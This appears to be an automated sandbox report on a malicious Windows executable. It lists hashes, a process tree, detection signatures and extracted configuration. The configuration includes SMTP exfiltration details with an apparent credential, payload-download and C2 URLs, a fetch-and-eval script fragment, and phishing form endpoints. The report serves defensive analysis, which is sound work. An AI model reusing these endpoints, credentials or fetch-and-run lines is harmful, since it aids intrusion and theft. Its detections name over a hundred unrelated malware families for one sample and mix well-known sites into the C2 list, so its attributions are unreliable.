Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Windows Analysis Report Foreign_Bank Account Details.exe

Overview

General Information

Sample Name:Foreign_Bank Account Details.exe
Analysis ID:1613
MD5:8906fa5fed7b1d3d2e5579d97419c076
SHA1:f4488a79fcb657eb1f3f23c6ce181ae7176fb11c
SHA256:d1a3f5513cfaf506e96e6304d259fb03f5dc23542301fc9c7335a6e921ad65f9
Infos:

Most interesting Screenshot:

Detection

RemCom RemoteAdmin Mimikatz HawkEye Imminent Nanocore Remcos GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected PasteDownloader
Detected Hacktool Mimikatz
Yara detected BlackMoon Ransomware
Yara detected Snake Keylogger
Yara detected Ragnarok ransomware
Yara detected Globeimposter Ransomware
Yara detected Evrial Stealer
Yara detected Avaddon Ransomware
Yara detected GhostRat
Yara detected Mini RAT
Yara detected BLACKMatter Ransomware
Yara detected Koadic
Yara detected Jigsaw
Antivirus detection for URL or domain
Yara detected AESCRYPT Ransomware
Yara detected Rapid ransomware
Yara detected RansomwareGeneric
Yara detected Ouroboros ransomware
Yara detected Fiesta Ransomware
Yara detected Lolkek Ransomware
Yara detected LimeRAT
Yara detected GuLoader
Yara detected Chaos Ransomware
Yara detected Hancitor
Yara detected TeslaCrypt Ransomware
Found malware configuration
Yara detected Mock Ransomware
Yara detected Conti ransomware
Yara detected Generic Dropper
Yara detected NoCry Ransomware
Yara detected ByteLocker Ransomware
Yara detected RegretLocker Ransomware
Yara detected Crypt ransomware
Yara detected Meterpreter
Yara detected Clop Ransomware
Yara detected Xmrig cryptocurrency miner
Yara detected ISRStealer
Yara detected LockBit ransomware
Yara detected LOCKFILE ransomware
Yara detected Cerber ransomware
Yara detected Rhino ransomware
Yara detected Niros Ransomware
Yara detected Buran Ransomware
Yara detected VHD ransomware
Yara detected generic Shellcode Injector
Yara detected Netwalker ransomware
Yara detected Vidar stealer
Yara detected Jcrypt Ransomware
Yara detected Delta Ransomware
Yara detected Predator
Yara detected Mimikatz
Detected HawkEye Rat
Detected Remcos RAT
Sigma detected: RegAsm connects to smtp port
Yara detected RevengeRAT
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Potential malicious icon found
Yara detected LaZagne password dumper
Yara detected Metasploit Payload
Yara detected LazParking Ransomware
Yara detected Discord Token Stealer
Yara detected MailPassView
Yara detected Parallax RAT
Yara detected GlobeLocker Ransomware
Yara detected Zeppelin Ransomware
Yara detected Apis Ransomware
Yara detected Wannacry ransomware
Yara detected AgentTesla
Yara detected MegaCortex Ransomware
Yara detected Valak
Yara detected AntiVM3
Yara detected Cobra Locker ransomware
Yara detected RekenSom ransomware
Detected Nanocore Rat
Yara detected Babuk Ransomware
Yara detected Nemty Ransomware
Yara detected NetWire RAT
Yara detected Linux EvilGnome RC5 key
Yara detected Clay Ransomware
Yara detected Thanos ransomware
Yara detected CryLock ransomware
Yara detected Pony
Yara detected OCT Ransomware
Yara detected Snatch Ransomware
Yara detected VBKeyloggerGeneric
Yara detected Silvertor Ransomware
Yara detected Coinhive miner
GuLoader behavior detected
Yara detected Annabelle Ransomware
Yara detected Gocoder ransomware
Detected Imminent RAT
Yara detected BitCoin Miner
Yara detected WannaRen ransomware
Multi AV Scanner detection for submitted file
Yara detected Ryuk ransomware
Yara detected Zeoticus ransomware
Yara detected Porn Ransomware
Yara detected DarkSide Ransomware
Malicious sample detected (through community Yara rule)
Yara detected HiddenTear ransomware
Yara detected Telegram RAT
Yara detected WormLocker Ransomware
Yara detected Mailto ransomware
Yara detected Voidcrypt Ransomware
Yara detected Njrat
Yara detected GoGoogle ransomware
Yara detected Axiom Ransomware
Yara detected Artemon Ransomware
Yara detected Betabot
Yara detected Covid19 Ransomware
Yara detected UACMe UAC Bypass tool
Yara detected AveMaria stealer
Yara detected Nukesped
Yara detected LokiLocker Ransomware
Yara detected Cryptolocker ransomware
Yara detected Marvel Ransomware
Multi AV Scanner detection for domain / URL
Yara detected Codoso Ghost
Yara detected Cute Ransomware
Yara detected 0x0M4R Ransomware
Yara detected Growtopia
Yara detected Windows Security Disabler
Yara detected Amnesia ransomware
Yara detected Dorkbot
Contains VNC / remote desktop functionality (version string found)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Yara detected Costura Assembly Loader
May modify the system service descriptor table (often done to hook functions)
Yara detected AllatoriJARObfuscator
Hides that the sample has been downloaded from the Internet (zone.identifier)
Found many strings related to Crypto-Wallets (likely being stolen)
Found potential ransomware demand text
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Hides threads from debuggers
Writes to foreign memory regions
Yara detected MSILLoadEncryptedAssembly
Binary or sample is protected by dotNetProtector
C2 URLs / IPs found in malware configuration
May enable test signing (to load unsigned drivers)
Deletes shadow drive data (may be related to ransomware)
Found strings related to Crypto-Mining
Tries to detect Any.run
Found Tor onion address
Sample is not signed and drops a device driver
Tries to harvest and steal browser information (history, passwords, etc)
Found string related to ransomware
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Yara detected VB6 Downloader Generic
Contains functionality to hide user accounts
Modifies the hosts file
May drop file containing decryption instructions (likely related to ransomware)
Yara detected Autohotkey Downloader Generic
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Antivirus or Machine Learning detection for unpacked file
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Abnormal high CPU Usage
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Creates driver files
Checks if the current process is being debugged
May initialize a security null descriptor
Queries the volume information (name, serial number etc) of a device
Deletes files inside the Windows folder
Contains functionality to query the security center for anti-virus and firewall products
Found potential string decryption / allocating functions
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Yara detected RemCom RemoteAdmin tool
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Installs a raw input device (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Contains strings related to BOT control commands
Detected TCP or UDP traffic on non-standard ports
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Yara detected Winexe tool
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Contains long sleeps (>= 3 min)
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Binary contains a suspicious time stamp
Yara detected Keylogger Generic
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Creates files inside the system directory
May infect USB drives
PE file contains sections with non-standard names
Stores large binary data to the registry
Contains functionality to query CPU information (cpuid)
Yara detected Credential Stealer
PE file contains executable resources (Code or Archives)
AV process strings found (often used to terminate AV products)
Found inlined nop instructions (likely shell or obfuscated code)
PE file does not import any functions
Uses SMTP (mail sending)
Enables security privileges
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64native
  • Foreign_Bank Account Details.exe (PID: 7880 cmdline: 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe' MD5: 8906FA5FED7B1D3D2E5579D97419C076)
    • RegAsm.exe (PID: 5916 cmdline: 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)
      • conhost.exe (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • tKZVPq.exe (PID: 2024 cmdline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)
    • conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • tKZVPq.exe (PID: 2664 cmdline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)
    • conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • mpam-c45e5da5.exe (PID: 3480 cmdline: 'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe' /q WD MD5: 443EE02E661D01299DEF051C2990B777)
    • MpSigStub.exe (PID: 3992 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe /stub 1.1.18500.10 /payload 1.351.256.0 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe /q WD MD5: 01F92DC7A766FF783AE7AF40FD0334FB)
  • wevtutil.exe (PID: 7380 cmdline: C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man MD5: C57C1292650B6384903FE6408D412CFA)
    • conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • wevtutil.exe (PID: 6888 cmdline: C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man '/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' MD5: C57C1292650B6384903FE6408D412CFA)
    • conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • mpam-f54ed867.exe (PID: 4540 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe MD5: 34B7B3BDFA61E18D3B2C3B0AC92B78EF)
    • MpSigStub.exe (PID: 7540 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe /stub 1.1.18500.10 /payload 4.18.2109.6 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe MD5: 01F92DC7A766FF783AE7AF40FD0334FB)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "purchasing@cselegance.comCSE.868mail.cselegance.com"}

Threatname: Pony

{"C2 list": ["http://www.trotux.com/?z=", "http://www.zhongsou.com/kefu/zskf.htm", "http://www.w3.org/1999/xsl/transform", "http://evanstechnology.com", "http://41.59.0.100/intranet", "http://www.microsoft.com", "http://www.direct-ip.com/", "http://downloadfilesldr.com/index5.php?adv=141", "http://spywaresoftstop.com/download/141/setup.exe", "http://service.srvmd6.com/Mac/getInstallerSettings/?version=", "http://gveejlsffxmfjlswjmfm.com/files/", "http://so1.5k5.net/interface?action=install&p=", "http://thespecsupportservice.com/uno.dat", "http://110.42.4.180:", "http://pznjaslo.pl/wp-content/outstanding-invoices/", "http://aindonashi.blogspot.com/", "http://www.alibaba.com", "http://(www|corail)\\\\.sudoc", "http://downloadfilesldr.com/index2.php?adv=141", "http://santasalete.sp.gov.br/jss/", "http://acayipbiri.blogspot.com/", "http://bardubar.com/mMS83JIdhq/ieygBSH38hsJa/", "http://xn--", "http://a.pomf.cat/", "http://cicahroti.blogspot.com/ ", "http://22y456.com/", "http://my-speak.eu/csioj.exe", "http://babukq4e2p4wu4iq.onion", "http://62.210.214.", "http://articlunik.blogspot.com/", "http://spotdewasa.blogspot.com/", "http://basti.ciseducation.org/website/images/prettyphoto/dark_square/.x1-unix/", "http://www.nytimes.com", "http://contentedmerc.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=", "http://d1.downxia.net/products/", "http://www.gamedanji.cn/ExeIni", "http://aitimatafb.blogspot.com/", "http://berkah2013.blogspot.com/", "http://bigboobsp.blogspot.com/ ", "http://aspeja.org/question/", "http://www.apple.com", "http://www.chipsroofingloveland.com/status/services-06-26-18-new-customer-vh/", "http://microhelptech.com/gotoassist/", "http://pastebin.com/", "http://www.fastclick.com", "http://errors.statsmyapp.com", "http://gicia.info/cd/cd.php?id=%s&ver=g", "http://musah.info/", "http://%s/buy_online.php", "http://apee296.co.ke/tatiyv6824540/gescanntes-dokument/zahlungserinnerung", "http://www.tripod.com", "http://batrasiaku.blogspot.com/", "http://gaigoixxx.blogspot.com/ ", "http://www.sqwire.com", "http://arthisoft.blogspot.com/ ", "http://www.steelbendersrfq.cf/", "http://gg", "http://www.", "http://yamaofficial.com/rxuczm/3415201.png", "http://www.xanga.com", "http://www.cnn.com", "http://xn---82-qdd0akcfirgv4j.xn--p1ai/ups-ship-notification/mar-13-18-07-06-38/", "http://wmwifbajxxbcxmucxmlc.com/files/", "http://81.177.26.20/ayayay", "http://i.compucrush.com/i.php", "http://jugnitv.com/final.jpg", "http://www.consumerinput.com/", "http://104.236.94.", "http://cl.1ck.me/", "http://seuufhehfueughek.ws/", "http://bonkersmen.blogspot.com/", "http://www.j.mp/", "http://lialer.com/wFBIQQUccZOdYQKJvhxm/ejrwqokckt.exe", "http://www.mlb.com", "http://www.friskypotato.com/", "http://tumicy.com/plqijcndwoisdhsaow/", "http://pages", "http://www.yahoo.com", "http://whatami.us.to/tc", "http://darkside", "http://www.monster.com", "http://www.netscape.com", "http://speedmasterprinters.co.za/erroreng/erroreng/erroreng/erroreng/ii.php", "http://200.74.240.151/saturno/w8.txt", "http://downloadfilesldr.com/index4.php?adv=141", "http://download.zhongsou.com/cdsearch/", "http://spywaresoftstop.com/wfdfdghfdghj.htm", "http://brembotembo.com/doc.xls", "http://cts.hotbar.com/trackedevent.aspx", "http://%s/sync.php", "http://31.192.210.", "http://chemgioaz.blogspot.com/ ", "http://likesomessfortelr.eu/mSsNX3JDSJD/inNSj398LSj/", "http://203.199.200.61", "http://www.alexa.com", "http://www.microsoft.com0", "http://8nasrcity.blogspot.com/ ", "http://www.bookiq.bsnl.co.in/data_entry/circulars/m", "http://mydirecttube.com/", "http://ajeyftrjqeashgda.mobi/mSsQDIMIQ/inIDw/", "http://aolopdephn.blogspot.com/", "http://faithhotelghana.com", "http://94.102.14.", "http://www.diannaowang.com:8080", "http://200.74.240.151/saturno/w7.txt", "http://www.searchmaid.com/", "http://www.moliv.com.br/stat/email0702/", "http://%s%simg.jpg", "http://gosgd.com", "http://owwwc.com/mm/", "http://pig.zhongsou.com/helpsimple/help.htm", "http://avnisevinc.blogspot.com/", "http://hostthenpost.org/uploads/", "http://pssquared.com/invoice-status/tracking-number-and-invoice-of-your-order/", "http://www.lycos.com", "http://192.189.25.17/cgbin/ukbros", "http://208.95.104.", "http://tempuri.org/", "http://afkar.today/test_coming.training/w_f/", "http://tsrv4.ws/", "http://%domain%/config.php", "http://dl.dropbox.com/u/", "http://www.klikspaandelft.nl/", "http://cs.zhongsou.com/", "http://mitotl.com.mx/ups.com/", "http://%s", "http://autothich.blogspot.com/ ", "http://march262020.com/files/", "http://www.pornpassmanager.com/d", "http://www.icq.com", "http://%domain%/update.php", "http://%s:%i%s", "http://www.88vcd.com/htm/china/myb/send.asp?daqu=%s&xiaoqu=%s&user=%s&pass=%s&ckpass=%s&renwu=%s&level=%d&gold=%d&stone=%d&cpname", "http://tool.world2.cn/toolbar/", "http://coltaddict.blogspot.com/", "http://alindaenua.blogspot.com/", "http://tinyurl.com/", "http://www.virtrigger.com", "http://qwuyegasd3edarq6yu.org/mSsQDIMIQ/ind7694GDs/", "http://www.niudoudou.com/web/download/", "http://millennium-traders.info", "http://www.youndoo.com/?z=", "http://devee.emlnk.com/lt.php?s=b7abe8a8120881cc5c9dab6eac28ddbe&i=1a3a1a", "http://200.159.128.", "http://1bestgate.blogspot.com/ ", "http://www.preyer.it/ups.com/", "http://www.adserver.com", "http://5starvideos.com/main/", "http://march262020.club/files/", "http://session-dyfm.clientmsg13.review/8446c35a41f9e820533b6cd008b40749?fpcum=&dyfm=ywx2yxjvx3zlbgfzy29adndylmnvbq==&dyfm=cpjyicit", "http://www.surprisingdd.top", "http://www.facebook.com/", "http://agressor58.blogspot.com/", "http://arifkacip.blogspot.com/ ", "http://95.173.183.", "http://bittupadam.blogspot.com/", "http://94.103.85.236/ds/11.gif", "http://www.%domain%/updates/check.html", "http://srmvx.com.br/uploads/", "http://webpatch.ragnarok.co.kr/", "http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/", "http://alhalm-now.blogspot.com/", "http://fateh.aba.ae/abc.zip", "http://abeidaman.blogspot.com/ ", "http://131.153.38.125/", "http://www.amazon.com", "http://%s/support.php", "http://50.63.128.", "http://animefrase.blogspot.com/", "http://booknology.com/", "http://www.lumina.it/wp-content/plugins/all-in-one-wp-migration/storage/client/invoice-978561/", "http://bgtc.pctonics.com", "http://rentalhabneew.com/", "http://maldonaaloverainc.com/", "http://216.172.172.40/~agora546/cardoso/dilma.zip", "http://beautifulmaori.co.nz/wp-content/plugins/wp-xmll_2/gorfy2pq/1ny0mnkih27id8m.ktk", "http://batysnewskz.kz/ups.com", "http://61.19.253.", "http://downloadfilesldr.com/index3.php?adv=141", "http://%s:%d/%d%s", "http://179.43.158.187/PhtJFr0fvBk2.php", "http://spywaresoftstop.com/load.php?adv=141", "http://wevx.xyz/post.php?uid=", "http://dontkillme/", "http://activecodec.0fees.net/codec/mp3/codec_download.htm", "http://zilmaraalencar.com.br/layouts/plugins/editors/tinymce/field/zzurphy.php", "http://highpay.website/css/windows.jar", "http://update.7h4uk.com:443/antivirus.php", "http://update.xiaoshoupeixun.com/tsbho.ini", "http://hotedeals.co.uk/ekck095032/", "http://gosgd2.com", "http://3s249.s249327.96.lt/mss2ro37qtl3cbw9vo0lk2bx8vv7jmx2mlesim9ddw11fem3sjp3ijuoufk/mss.php", "http://sameshitasiteverwas.com/traf/tds/in.cgi", "http://ahmad-roni.blogspot.com/", "http://citw-vol2.blogspot.com/ ", "http://%s:%d/%s%d%08d", "http://kolyherqylwa9ru.top/log.php?f=400\",zigmep0());ixunlaw4=samagsi0[awolgify4()]();ypjatlaci6[ygulsivko6()]=krubyfacifv2();erqylwa9=samagsi0[hojmed4()];geqilra0=wmetoqe0[betyquzt6()];}ixunlaw4=ypjatlaci6[azgorpydbibd4()]();ixunlaw4=ypjatlaci6[ildig0()](erqylwa9);ixunlaw4=ypjatlaci6[onesothaz0()](kqoctim8+lcacsovy5);ixunlaw4=ypjatlaci6[oxkucfur4()]();ixunlaw4=iliqof8[agajdojj9()](rpolje4()+kqoctim8+lcacsovy5,zigmep0());}catch(e){}", "http://f1visa.info/cd/cd.php?id=%s&ver=g", "http://13.233.183.227/de/lngukm2012920/bestellungen/zahlung", "http://cvfanatic.blogspot.com/ ", "http://www.qq994455.com/", "http://20vp.cn/moyu/", "http://www.ebay.com", "http://fateh.aba.ae/xyzx.zip", "http://3dplayful.blogspot.com/ ", "http://vequiato.sites.uol.com.br/", "http://malikberry.com/files101/htamandela.hta", "http://bbc.lumpens.org/", "http://verticalagriculture.net/files/csrss.jar", "http://31.192.209.", "http://31.192.211.", "http://lo0oading.blogspot.com/ ", "http://page.zhongsou.com/ps?tps=2&cc=%s&aid=CA%s&w=", "http://best4hack.blogspot.com/ ", "http://www.mapquest.com", "http://ip-api.com/json/", "http://888888.2288.org/Monitor_INI", "http://te.platrium.com/pte.aspx", "http://www.phokhobazan.com/%202%200%201%208-0%207%20-%201%201%202%200%200%207:%202%206:%2099%20819.php/?email=kevind@hollywoodwoodwork.com\"target=\"_blank", "http://config.juezhao123.com/c.ashx?ver=&c=", "http://brembotembo.com/2.dat", "http://%s:%i%s?mod=cmd", "http://detayworx.com/_vsnpNgyXp84Os8Xh.php", "http://checkip.dyndns.org/", "http://whenyouplaygood.com/s/gate.php?a\");f[\"\\x73\\x65\\x6e\\x64\"]();eval(f[\"responsetext\"", "http://www.nba.com", "http://www.colegioarbitrosargentinos.com.ar/img/overdue-account/invoice-053541/", "http://www.agendagyn.com/media/fotos/2010/", "http://www.thon-samson.be/js/_notes/", "http://anomaniez.blogspot.com/ ", "http://masgiO.info/cd/cd.php?id=%s&ver=g", "http://binyousafindustries.com/fonts/jo/mops.exe", "http://%s/features.php", "http://www.enquesta.tempsdoci.com/tracking-number-7fjs84476372436909/mar-13-18-04-02-56", "http://iranvision1404.com/ss/info/redebit_transactions/terms/kohc-xuxo_lcxty-av6e", "http://92.222.7.", "http://brembotembo.com/1.dat", "http://ow.ly/QoHbJ", "http://%s/v_install?sid=16045&start=1&guid=$__GUID&sig=$__SIG&ovr=$__OVR&browser=$__BROWSER&label=%s&aux=%d", "http://aancyber77.blogspot.com/", "http://2010-kpss.blogspot.com/ ", "http://www.sacbarao.kinghost.net/", "http://downloadfilesldr.com/allfile.jpg", "http://5starvideos.com/main/K", "http://sf3q2wrq34.ddns.net", "http://www.ip2location.com/", "http://88888888.7766.org/ExeIni", "http://worm.ws/", "http://sonharvaleapena.com.br/en_us/copy_invoice/25680423862/dqzln-cwhrf_yagnf-spn", "http://www.ssl-256mail.host/5c596a68b83a886b57ade24c?jgiasyi=&pwnmiz_g=1eo3fjfkkke&jgiasyi=wtnygzsiyw", "http://dudethisishowwedoitallnightlong.2myip.net", "http://dmww.dmcast.com/script/update.asp?version=%s", "http://docs.herobo.com", "http://directplugin.com/dialers/", "http://www.xpassgenerator.com/software/d"]}

Threatname: Metasploit

{"Type": "Execute Command", "Command": "\u0001"}

Threatname: CryLock

{"Extensions": "dpost cal ed, module handle  c:\\temp\\co kies.log WantRele !Trickbot.AAA!sms !Trickbotpw.A!mod Grab_Passwords_Chrome(0) Grab_Passwords_Chrome() success Grab_Passwords_Chrome(): Can't open database \\Google\\Chrome\\User Data\\Default\\Login Data.bak [Reflection.Assembly]::LoadFile(\"$binpath\\KeePass.exe\") Write-warning \"Unable Load KeePass Binarys\" Internet Explorer Internet Explorer] !Trickbotem.A!mod Grabbed %s from Inbox Grabbed %s from Contacts Error hiding Outlook from the taskbar Hide Outlook from system tray StartOutlook(): before hide c:\\temp\\mail.log StartOutlook(): ShellExecuteW()  %S %S StartOutlook(): ShellExecuteW()  %S %S] !TrickBot.I!MTB !TrickBot.J!MTB XYXEQX8dMYWKgX8KMNQpqCL \tgMofH.dll !Control !ControlFreeBufferReleaseStart !TrickBot.K!MTB Xvaultcli.dll SysListView32 atl.dll SRVDATA.dll NetServerStart NetServerStop JSRVDATA.dllControlFreeBufferNetServerStartNetServerStopReleaseStart !Trickbot.V!ibt +VC20XC00U Trojan:Win64/TrickInj.A!MTB inj_64.dll [INIT] Inj = %u [INIT] BC = %u [INIT] Proxy = %u #pgid# #pgid#] !TrickBot.A!ibt \\rdpscan.pdb  Control  ControlFreeBufferReleaseStart] TrojanDownloader:O97M/Emotet.QAZ!MTB $TrojanDownloader:O97M/Emotet.QAZ!MTB TrojanDownloader:O97M/Emotet.RAA!MTB $TrojanDownloader:O97M/Emotet.RAA!MTB TrojanDownloader:O97M/Emotet.RAB!MTB $TrojanDownloader:O97M/Emotet.RAB!MTB !Trickbotspr.A!mod CmainSpreader::init() CreateThread, error code %i CmainSpreader::init() CreateEvent, error code %i WormShare lsass.exe End of Romance spreader with module handle 0x%08X is started spreader with module handle 0x%08X is started] !TrickInj.B!MTB inj_32.dll #gid# /QConnection !EmotetCrypt.MR!MTB Trojan:Win64/Trickbot.SS!MTB dllor.dll bEjvvgF7zLSVe7I SKe1E7e1BJnWQG 0qjqOSdonoe2dLUW !ControlFreeBufferReleaseStart] TrojanDownloader:O97M/IcedID.YJ!MTB #TrojanDownloader:O97M/IcedID.YJ!MTB !Trickbot.PN!MSR rdpscan.dll rdpscan.pdb rdpscan.pdb] Behavior:Win32/Trickbot.A!sms !Trickbot.A!sms !Trickbot.B!ibt \\webinject32.pdb \\webinject62.pdb ControlFreeBufferReleaseStart WebInject build %s %s (%s) starting STATIC FAKE rebuild= Injection failure process pid = CheckAndInjectExplorer(): CreateToolhelp32Snapshot(): Chrome is zombie Starting and injecting chrome [INJECT] inject_via_remotethread_wow64 [INJECT] inject_via_remotethread_wow64] !Trickbot.N grab_passwords_chrome() )from logins where blacklisted_by_user = 0 \\default\\login data.bak mimikatz] !Trickbot.O [reflection.assembly]::loadfile(\"  \\keepass.exe\") MTIzNA==; cXdlcg==; MTIzNA==; cXdlcg==;] !TrickbotVP.A!MTB vpnDll build %s %s started VPN bridge failure 11:43 vpnDll.dll WantRelease RasGetConnectStatusA] !Azurlt!MTB U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs SetEnvironmentVariableW CreateProcessAsUserW GlobalMemoryStatus SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA== GDIScreenShot CryptReleaseContext CryptUnprotectData PVAULT_CRED8 Process32NextW uFileFinderU uIE7_decodeU ShellExecuteExW GetLogicalDriveStringsA InternetCrackUrlA HttpAddRequestHeadersA Browsers\\Cookies Browsers\\Cookies] Trojan:Win64/Trickrdp.A!MTB BotID trybrute rdp/names rdp/dict rdp/over rdp/freq rdp/domains rdp/domains] Trojan:Win64/Trickrdp.B!MTB F:\\rdpscan\\Bin\\Release_logged\\x64\\rdpscan.pdb !OceanLotus.AC!MTB 977Lp Trojan:HTML/Phish.JAD!MTB <formaction=http://tenillar.com/ko/pos.phpmethod=post> 8<formaction=http://tenillar.com/ko/pos.phpmethod=post> <formaction=http://185.236.231.209/xcel/copy/xel.phpmethod=post> B<formaction=http://185.236.231.209/xcel/copy/xel.phpmethod=post> <formclass=\"modal-contentanimate\"method=\"post\"action=\"http://185.236.231.210/test/en/dsf.php\"> `<formclass=\"modal-contentanimate\"method=\"post\"action=\"http://185.236.231.210/test/en/dsf.php\"> Behavior:Win32/SvchostInject.B Behavior:Win32/WermgrInject.A .@\t Xp .@  Xp Exploit:O97M/CVE-2017-0199.YAB!MTB \"Exploit:O97M/CVE-2017-0199.YAB!MTB target=\"http://tsdyprivatecloudshareandfileprotectsyta.ydns.eu/receipt/invoice_141140.doc\"targetmode=\"external ptarget=\"http://tsdyprivatecloudshareandfileprotectsyta.ydns.eu/receipt/invoice_141140.doc\"targetmode=\"external TrojanDownloader:O97M/Emotet.RAC!MTB $TrojanDownloader:O97M/Emotet.RAC!MTB Trojan:Win64/Trickbot.A!mod rdpscan.dllControlFreeBufferReleaseStart] Trojan:Win64/TrickbotMshare.A!MTB !Trojan:Win64/TrickbotMshare.A!MTB 7c8DhxWXjErT7C/z7ce 4Pj+/D9oJP4ZJDyoG2j+/D9oJc7qG2j1JD4MuLYLIE+oVg5 PDPqIPj+/D9oJGjcIG4Lswjo IgYMmw4d/CWzmw9a IgYMmw4d/CWzmw9a] Ransom:Win32/CerberCrypt.SU!MTB Trojan:PDF/Phish.SK!MSR !Trickbot.SV!MTB MoveLeft Release] Trojan:PDF/Phish.VT!MSR Stelega.AS!MTB Behavior:Win32/Pacalau.A Behavior:Win32/Rawanpec.A @$^O3 Trojan:Win64/Trickbot.SE !Trickbot.AAB !Trickbot.AAB&@ \"X7fv dllControlFreeBuffer ReleaseStart .dllControlFr eBuffer eBufferNetServerStartNetServerStopReleaseStart Backwar .dllBackwar Forward Pause ControlForwardFreeBufferPauseReleaseReverse ControlCreateInstanceF eeBuffer eeBufferReleaseStart ?Stop@@ .dll?Stop@@ .dllControlFreeBuffer OnLoad OnUnload OnUnloadReleaseStart ?DLLControl@@@@ .dllControl?DLLControl@@@@ ?DLLFreeBuffer@@ 0?DLLFreeBuffer@@ ?DLLRelease@@ 0?DLLRelease@@ ?DLLStart@@ 0?DLLStart@@ @FreeBufferRelease ?Find@@Y ?Init@@Y ?Shutdown@@Y _Control@ .dll_Control@ _FreeBuffer@ _Release@ _Start@ ?ReleaseA@@Y .dllControlFreeBufferRelease?ReleaseA@@Y .dll?ReleaseA@@Y AboutDialogP .dllAboutDialogP ocControlDllRegisterServerDll nregisterServer JNI_OnLoad JNI_OnUnload nregisterServerFreeBufferJNI_OnLoadJNI_OnUnloadReleaseStart !Trickbot.ZC core-parser.dll BanRule ClearRules ConfigInitDpost ConfigInitDynamic ConfigInitStatic EnumDpostServer core-parser.dllBanRuleClearRulesConfigInitDpostConfigInitDynamicConfigInitStaticEnumDpostServer /rcrd/ /getq/ /snapshoot/ /rcrd//getq//snapshoot/ Behavior:Win32/TrickBot.B!nri !Invacert.A!MSR !Trickbot.ZD F:\\Projects\\WebInject\\bin\\x86\\Release_logged\\payload32.pdb Payload (build %s %s) injected D$LDS D$QY3 !Xtrat!MSR  Ea.,g Behavior:Win32/BDNS.S @ %program_files% Behavior:Win32/BDNS.R Behavior:Win32/BDNS.X SuspUnixReShellCmd.O /bin/ AGamarue !Gamaure !Nivdort.DH watch_dog_name.exe /index.php?data= ADRIANCOPILULMINUNESIFLORINSALAM ADRIANCOPILULMINUNESIFLORINSALAM] 